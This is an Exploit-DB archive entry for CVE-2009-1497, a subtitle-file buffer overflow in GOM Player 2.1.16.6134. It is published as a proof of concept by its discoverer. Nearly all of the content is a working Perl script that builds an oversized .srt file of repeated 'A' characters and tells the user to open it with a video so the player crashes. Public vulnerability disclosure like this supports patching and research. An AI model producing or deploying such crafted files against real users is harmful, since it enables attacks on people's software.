# Title: GOM Player 2.1.16.6134 Subtitle Local Buffer Overflow PoC
# EDB-ID: 8370
# CVE-ID: (2009-1497)
# OSVDB-ID: (53361)
# Author: Bui Quang Minh
# Published: 2009-04-08
# Verified: yes
# Download Exploit Code
# Download N/A

#!/usr/local/bin/perl

##################################################################
#
#	Title : GOM Player Subtitle Buffer Overflow Vulnerabiltity
#	Discovery by : Bui Quang Minh
#	Tested : GOM Player 2.1.16.6134
#	Reference : Bkis [http://security.bkis.vn/?p=501]
#	PoC : Windows XP (Silently Crash) and Windows Vista, Windows 7.
#	
##################################################################

my $buffer = "A" x 10240 x 4;
my $filename = "gomdos.srt";
open (FILE,">$filename") || die "\nCan't open $file: $!";
print FILE "$buffer";
close (FILE);
print "\nSuccessfully!\n\nPlease try $filename with a video file!\n";

# milw0rm.com [2009-04-08]